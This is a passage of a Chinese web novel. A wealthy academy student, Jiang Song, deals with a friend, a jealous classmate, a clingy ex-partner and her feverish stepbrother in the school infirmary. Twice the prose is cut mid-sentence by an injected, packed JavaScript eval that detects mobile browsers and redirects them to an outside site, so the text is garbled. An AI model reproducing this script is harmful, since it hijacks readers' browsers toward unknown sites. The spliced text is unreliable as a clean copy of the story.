“……姐姐。我跟你一起去学校。” 他的声线依旧疏冷,要不是他唇色发白,面颊透露出不正常的粉,她还真看不出他有什么不对劲。 不过身体是自己的,他不重视别人再劝也没用,更何况他既然要去,她也不会拦着。 姜颂见他站在原地和石雕似的纹丝不动,便抬了抬下巴,“要去学校就吃饭。” 闻言,姜知律紧绷的肩线骤然松了一些,身影很快消失在了客厅里。 而姜颂当然没有要等他的意思,家里又不是没有其他司机和车子,于是她调整了一下袖扣以及手上的蝴蝶戒指,又扫了一眼没有出现任何消息的手机,“刘姨,我先出门了。一会儿叫林司机过来送他去学校。” “好的,小姐。” 管家没有对她的决定做出质疑,“路上注意安全。” 姜颂点头出了门,她踏过清凉的喷泉庭院,坐上了车。 “小姐,谢谢您送的礼物。” 轿车平缓的行驶,在等红绿灯的时候,一直犹豫着的章司机终于开了口,他实在是没想到姜家小姐竟然知道自己女儿的生日,“我女儿她特别喜欢那只娃娃,晚上抱着睡觉都不肯撒手。” 姜颂微笑道:“小朋友喜欢就好,不用这么客气。” 章司机透过后视镜看向后座,越觉得对方十分友善,没有有钱人的架子,“那怎么能行,该谢就是要谢的——对了,蛋糕您吃了吗?我女儿切了块蛋糕吵着要留给您,所以昨天晚上我就送过去了,”他乐呵呵的说:“蛋糕是我妻子自己做的,别的不说,绝对干净!” 压根就没见到蛋糕影子的姜颂也没驳面子,“味道不错,您妻子的手艺很好。” “哈哈,是吗?” 说起妻子,章司机脸上的笑容更真切了些,语气中不自觉的带上了几分炫耀和幸福,“她啊特别擅长做点心,我妻子以前还跟我说过,她小时候的梦想就是长大以后开一家面包店。” 他不自觉讲起了自己和妻子年轻时候的故事,姜颂也没有阻止,只是安静的听,并适时的回应几句,很快车子便抵达了圣德利亚学院附近。 上学高峰时间段内,学院门口豪车聚集,尽管不允许车辆长时间停留,但总会有一些人不守规矩,加上疏通不够及时,很容易出现堵车的情况。 所以姜颂通常会在距离学校几百米的一个路口下车,再步行几分钟前往。 下车戴上耳机,轻音乐舒缓着她的情绪。 姜颂抚开被风吹到脸颊上的头发,心里已经做好了打算,截至目前何筝也没有通过她的好友请求,而她不准备主动去找何筝,一是为了避免不必要的麻烦,二是她不确定何筝目前的处境,同时不知道自己的出现对于何筝来说是好事还是坏事。 所以她只能等,等待何筝将衣服和手表还给她。 不过她倒是认识一个可以帮忙的人…… 可还没有走出百米,就隐约的听到有人在叫她的名字。 姜颂歪过头,就见一辆黑色轿车停在路边,而后排的车窗降下大半,里面的人正朝她挥着手。 是谢桐月。 同时她也才想起自己将手提袋遗落在了车子上。 而对方见她看过来,很快便将手收了回去,紧接着打开车门下了车,就这会儿功夫,姜颂模糊的看到后排还坐着一个男人。 随后她听到谢桐月向车内道:“二哥我去上学啦。” 车内的人不知回了句什么,惹得谢桐月好不乐意的哼哼了几声,随后车子启动,驶离了这里。 姜颂见状摘下耳机,而谢桐月则小跑几步来到她的身边,她眼前一亮,牵起她的左手,“我就知道——” 然而在看清戒指的一瞬,谢桐月的表情明显发生了变化,尽管她很快就遮掩了过去,并笑盈盈道:“我就知道你戴这枚戒指肯定特别特别好看!” 姜颂的手型好,手指细长,甲型漂亮,的确很适合佩戴一些饰品。 “在你眼里我戴什么都好看。” 姜颂好笑道,却没有错过对方那古怪的神色,难道这枚戒指不是谢桐月送的?可如果不是,那她又为什么要将话接下去? 她眸光一动,随即倒吸一口凉气,顺势将手抽离。 “颂颂,怎么了?” 谢桐月被她转移了注意力,这时候她才想起来她的手上还有伤,便绕到另一侧挽住姜颂的手臂,无比自然的撒娇:“是我碰到你的伤口了吗?对不起呀——” “没有,只是伤口偶尔会抽痛一下,别担心。” 姜颂安慰似的摇摇头,她压了一下纱布的边角,两人一同朝着学院的方向走。 谢桐月小声地埋怨,“颂颂你以后就不要摸猫咪了,万一留疤怎么办……” 姜颂点了点头,两人很快就来到了校门口,刚踏进校门就被几个女生围住,更准确的来说被围住的人是谢桐月。 对方在圣德利亚的人气其实不亚于某些人鱼和血族,毕竟她家世容貌样样出挑,出手阔绰性格又好,更何况现在正是缪斯榜的票选期,身为热门候选人物的她当然备受瞩目。 于是被挤出去的姜颂做出一个无奈的表情,她与谢桐月对视了一眼,接着乘坐代步车先行离开。 等姜颂来到教室,班中的同学已经来了大半,而在路过之前总找她茬的林舒蔓的身边时,她不经意间的看了她一眼。 背对着她的长发女生当然不会注意到这点,毕竟她还在拿着手机朝朋友炫耀自己准备拍下的红宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321639|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石项链。 浓艳如血。 然而她的同桌,那个苹果脸女生——徐逢春显然看到了这一幕。 姜颂不以为意的收回视线,她来到自己的座位上坐好,从皮包里拿出笔记翻看。 今早第一堂课要进行摸底小测,尽管已经复习了很多遍,但她还是惯性的去梳理重点。 临上课前,她收到了谢桐月发来的信息,大意就是今天不能跟她一起吃午餐了,学生会临时发通知要开会。 这倒也正和她意,见主课老师走进班内,姜颂又发了条信息给管家,叫她让司机把手提袋送到校门口的门卫处,随后将手机收进口袋。 到了中午,教室里的同学陆陆续续的离开,最后只剩下了姜颂一人。她慢吞吞的整理好课本,打算午休的时候把作业写完,可就在她回完消息准备起身,却看到了返回教室的徐逢春。 “姜同学!” 徐逢春叫住她,小跑到她跟前怯怯地说:“小舒昨天不是故意针对你的,她人不坏,就是——就是——” 嫉妒心强。 姜颂自动补全了对方后面不敢说出口的话。 徐逢春咽了口唾沫,结结巴巴地继续说:“希望你别生气……” 姜颂瞥了眼对方揪着衣角的手,语气平和,却颇有点意味深长的道:“大家都是同学,我怎么会生气。” 女孩顿时纠结起来,显然不怎么相信她所说的话,她不抱希望的问:“真的吗?” 姜颂刻意停顿了几秒,“假的,其实真的有点生气。” 闻言徐逢春突然紧张起来,她小心翼翼的说:“那姜同学什么时候能消气……?” 姜颂做出一个思考的神情,“怎么才能消气……说起来,其实我家要我建一个助学基金。” 她岔开话题,眸光却一直停留在徐逢春的脸上,“虽然学院里的特招生学习成绩都很好,但——你知道的,徐同学。品行才是重中之重,不是吗?” 学院内有不少学生会以个人或者家族的名义去做慈善捐助,有的是真纯善,有的则是为了给自己博一个好名声,为光鲜的履历再添一抹亮色。 但说到底不管是直接还是间接,都算是做了好事。 而即便圣德利亚设有全额奖学金,也要考到年级第一且学分达标才可以拿到,第二第三虽然也能拿到奖金,但比起第一名简直是天差地别。 更重要的是学院会将一枚勋章颁发给第一名,其含金量不亚于一封名校推荐书。所以竞争有多激烈也可想而知。 徐逢春听罢果然露出理解的表情。 姜颂笑了笑,“所以我总得知道我把钱给了什么样的人。” 徐逢春并不蠢,她明显松了口气,“嗯……如果是低年级的话还好说,我表弟表妹管着一二年级的风纪,这方面我可以问问他们。”她偷偷瞟了眼姜颂,“姜同学你放心,我不会出去乱说的。” 在她的认知里,姜颂多半是在完成家里布置的任务,同时怕麻烦所以想不费力的走点捷径。这种来自长辈的考察总会把人搞得十分紧张,再者她也有类似的经历,所以能够设身处地的理解对方。 “谢谢。” 姜颂的表情更加真诚,仿佛对方帮了她一个大忙,“麻烦你了,徐同学。” “不麻烦不麻烦。” 面对姜颂客气的态度,徐逢春反而不好意思的摆了摆手,这一番交流下来,让她觉得对方也是个普通人,或许那时候她所目睹的一切只是一场意外。 可是那张冷酷的脸实在令人印象深刻,徐逢春犹豫道:“我也只能帮一点点忙……那我晚点联系你?” “可以。” 姜颂表示理解,紧接着她目送女孩离开教室,手指点了点桌面。 真是让人羡慕的友情。 她扯开嘴角,同样走出教室。 10.第 10 章 感谢也不能只是嘴上说说,姜颂在餐厅吃饭的时候就开始着手挑选礼物,当做给徐逢春的谢礼。 毕竟未来她还有需要她的时候。 她离开餐厅时已经订购了神匠当季的新款中号荔枝皮背包,紧接着她没有同往常一样闲逛,而是先去门卫处取走了装着盲盒的手提袋,随后直接回了休息室。 来到门前,她刚要用抬手解锁进入房间,却接到了一个陌生来电。 接起后,那头传来一道女音。 “喂,您好,请问是姜学姐吗?我是姜知律的同班同学,他今天上课突然晕倒了,现在人还在医务室……如果您现在有时间的话,可以来一下吗?” 女生说话轻声细语,也很有礼貌。不过此刻姜颂的注意力没有放在对方身上,所以自然没怎么细想姜知律人都在医务室了叫她去又有什么用。 她表情不愉的后退一步看着门底处的缝隙,语气却十分平缓,“好的,我一会儿就到。” 得到了答复后姜颂扣下电话,她点开那个给她发了无数条信息的陌生号码,随即拨通。 “在我回来之前把房间打扫干净。” 姜颂压低的声线里混杂着碎冰,私人领域被人侵.犯,很难不让人恼怒,“我不想重新换休息室,这样很麻烦。” 申换休息室需要提出书面申请,一套流程走下来至少需要四五天的时间。 然而号码的主人像是十分委屈,“颂颂,我只是想——” “你想什么?” 姜颂盯着门缝处被遮挡的光线,像是想起了什么,拉平的唇线缓慢勾起,带上了些许讽刺意味,“你应该记得我们已经分手了吧?” 那人像是被扼住了喉咙,好半天都没说出话来,只有逐渐涌上来的急促的呼吸声。 隐约听到有什么东西掉落在地,甚至弹起的响动,姜颂不感兴趣的转身,她最后撂下一句:“别让我更烦你。” 她不等对方回应便掐断电话,随后她瞥了眼手里的袋子,心道显然有人更需要它,接着便下楼离开,前往医务室。 中午时的学院也算热闹,除了午休,也有许多娱乐场所可供选择,至少她能隐约听到来自室外篮球场的欢呼声。 而圣德利亚的医务室距离教学楼不远,建筑设有两层,且医护资质过关,能处理绝大多数的小病小痛,不过即便如此,更多的学生还是会选择离校就医。 姜颂没花多长时间就抵达了这里,只不过她不清楚姜知律位于哪个诊室,便第一时间咨询了导医台的护士。 “你说那个发高烧的男学生?” 护士放下手里的手册,给她指了个方向,“他在六号输液室,门开着,你进去就行。” “学习是很重要,但是心里也得有个数,烧到四十度还来学校,也不知道是来上课还是来遭罪的。” 大概是出于职业敏感性,护士又指了指她左手上包扎并不专业的纱布绷带,并绕出导医台,“学生,你的手怎么了?” “被猫抓了。” 姜颂也不掩饰,她顺从的站在原地,任由护士揭开纱布绷带。 护士捏着纱布,低头观察她的伤口,“自己家里养的猫?打没打疫苗?” “家猫,”姜颂说:“打了全程疫苗。” “那一会儿你先别走,我给你清清创,”护士将纱布扔进医疗垃圾桶里,“伤口晾着不要捂,后期少沾水,我瞧着有点要化脓。” 姜颂道了句谢,接着便拐进走廊,照着护士的指示去了六号输液室。 大概是为了方便观察病人的情况,所以输液室内用半透明半磨砂的玻璃作为隔断,角落里摆着几盆绿植,窗户半敞,通风情况也很不错。 六号输液室内设有四张床位,但现在大都空着,唯有靠床的位置半拉着蓝色的床帘,而身穿运动服的女生正坐在床尾处的椅子上,见她过来便站起了身。 “您好,”女生看起来有些拘谨,像是怕打扰人休息,她小声问:“您是姜学姐吗?” “对。” 姜颂走过去,她一边说一边看向躺在床上的姜知律,对方正合眼睡着觉,只是他眉头蹙着,面色苍白,似乎睡的不太安稳,“你是……?” “学姐,我是C班的班长,”女生简单的说明一下情况,“是这样的,当时大家在上排球课,热身的时候姜同学忽然晕倒了……因为情况看起来比较严重,所以送来医务室之后本来要给家里人打电话。但是姜同学正好醒过来,怎么也不肯给家长打电话,老师劝了很久他才说要打给学姐你,所以就……” 女班长犹豫了几秒,像是在考虑接下来的话该不该说,“而且,老师说在学姐来之前先让我暂时陪同一会儿。” “……” 闻言姜颂心想姜知律还算有点眼力见,知道这时候不能打扰在外出差的妈妈让她分心,她估摸着C班的班长这会儿连饭都没吃,便语带感谢的将手提袋递过去:“谢谢你学妹,这是一点心意,抱歉耽误你这么长的时间。” “不客气学姐,我们都是同学,偶尔帮一下忙也没什么。” 女班长显然也不想在这里多待,她先是摆了摆手,最终还是一边客套一边接过手提袋,“谢谢你学姐,那……没什么事的话我就先走了,学姐再见。” 姜颂微笑着回了句再见,见对方的身影彻底消失,这才坐在了女班长先前坐的位置上,她看了眼输液架上挂着的两瓶液体,觉得至少还得耗费一个多小时的时间。 于是她又将椅子搬到了床头柜旁,手臂搭在上面玩手机。 那个号码发来一堆未读消息。 【颂颂我错了,对不起,我下次不会这样了。】 【求求你了颂颂,别不要我,我错了我真的错了。】 【别讨厌我好不好……】 后面乱七八糟,颠三倒四的句子没让姜颂心里起半点波澜,她一边浏览一边还有心思想着自己周末的安排,除了要在周日下午看一场公益话剧,顺便让代理人去拍卖会竞拍一顶工艺复杂的纯红钻石冠冕外,她其余的时间都空着,可以好好整理关于何筝的事情,又或者享受个人空间。 而与她合作的这位女性代理人从业多年,行事风格老练,姜颂除了需要签下授权委托书外,后续的一切都不需要她来操心。 这么想着,一抹鲜红却兀地从脑海中浮现而出,姜颂点开女性代理人之前发来的拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328267|183133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖行展品电子图册,在找到某样拍品后,给对方发了条信息。 在得到肯定的答复后,她满意的收起手机。 没一会儿护士就来帮她清理了伤口,并叮嘱她先不要走。由于中午只有两位医护值班,而姜知律又因为高烧一直在睡觉,无法自己摁铃,所以她最好是能多待一会儿就待一会儿。 姜颂自然满口答应。 毕竟她现在又回不了休息室,而姜知律目前除了能呼吸以外,和具尸体没什么区别,所以她在哪儿待着都一样,更何况这里还安静。 等护士推着治疗车离开,姜颂也有了困意,生物钟太准有时也不见得是什么好事,她捏了捏鼻梁,见输液瓶里的液体还剩下大半,便估摸了个时间为自己订了闹钟,随即摁下了蓝色开关。 透明的玻璃立即变色,雾蒙蒙的一片,让外人无法窥探屋内的景色。 她将手臂支在柜面上,撑着侧脸准备小睡片刻。 姜颂入睡的速度很快,没一会儿她的意识犹如崩断了线的风筝,越飘越远。然而在梦中,不管她走到哪里,粘腻晦涩的视线都像蛇一样将她紧紧缠绕,不肯脱离分毫。 不知过了多久,突兀的喧闹声将她惊醒,姜颂的手一歪头一沉,那种自高空坠落的失重感令她心悸不已。 “……” 思维还有些混沌的姜颂睁开双眼,漆黑的眸中含着清晰可见的烦躁,还不等她用心去听,不知名的争吵就被医生护士平息了下去。 她深吸一口气捏了捏发凉的指腹,这才看向病床上的姜知律。 对方还同刚才一样熟睡,甚至姿势都没有改变,而即便他面带病色,却也依旧清俊好看。 然而晃动着的输液器却在提示着她某些异常之处。 于是姜颂整理了一下毫无褶皱的裙面,“醒了?” 姜知律没有动,仿佛睡的正沉。 姜颂也不管他,而是起身继续说:“我不说第二遍。” 她话音刚落,男生的睫毛一颤,随后睁开琥珀色的眼望向她,大概是因为发烧的缘故,所以他的眼尾和结膜都稍稍泛红,像哭过似的。 “……姐姐,谢谢你能过来。” 姜知律平日里清冷的声线在此刻带着点哑意,以及被揭穿的窘迫,仿佛自己做了什么错事,他垂下眼睫,难得显出几分湿漉漉的可怜,“我没有告诉姜阿姨。” 这副脆弱的神情惹人垂怜。 但她现在没什么心情去欣赏,反而十分无语,心说难道自己还得夸夸他吗? 她没有理会,结果刚走到门口就听到了一道熟悉的声音自外传来。 是陆允谌。 “行了,有什么可哭的。” 他十分刻薄无情的说:“既然分手了以后就别再联系我,你让你朋友过来接你走。” 女生不可置信的回,声音哽咽,“陆允谌你有没有心?你告诉我,你是不是根本就没喜欢过我?!” 这女声她听着也有点印象,大概就是音乐馆楼道里的那一位。 不过姜颂不想打探这种隐私,更何况她对他们也不感兴趣,本着不触霉头的心理,她抬手关上玻璃门,接着转身回了输液室。